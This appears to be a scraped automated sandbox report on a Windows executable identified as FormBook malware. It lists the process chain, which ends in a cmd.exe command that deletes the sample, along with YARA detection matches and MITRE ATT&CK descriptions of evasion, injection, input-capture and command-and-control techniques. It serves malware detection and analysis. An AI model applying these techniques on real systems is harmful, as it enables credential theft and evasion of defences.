MD5 hash:	51FB6F484B4BC554A7FDDB7DC24C994E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: explorer.exe PID: 3440 Parent PID: 1260

General

Start time:	09:43:12
Start date:	15/09/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6f22f0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: svchost.exe PID: 1972 Parent PID: 3440

General

Start time:	09:43:37
Start date:	15/09/2021
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\svchost.exe
Imagebase:	0xf60000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: cmd.exe PID: 2456 Parent PID: 1972

General

Start time:	09:43:43
Start date:	15/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\SRMETALINDUSTRIES.exe'
Imagebase:	0x2a0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 6832 Parent PID: 2456

General

Start time:	09:43:43
Start date:	15/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report SRMETALINDUSTRIES.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries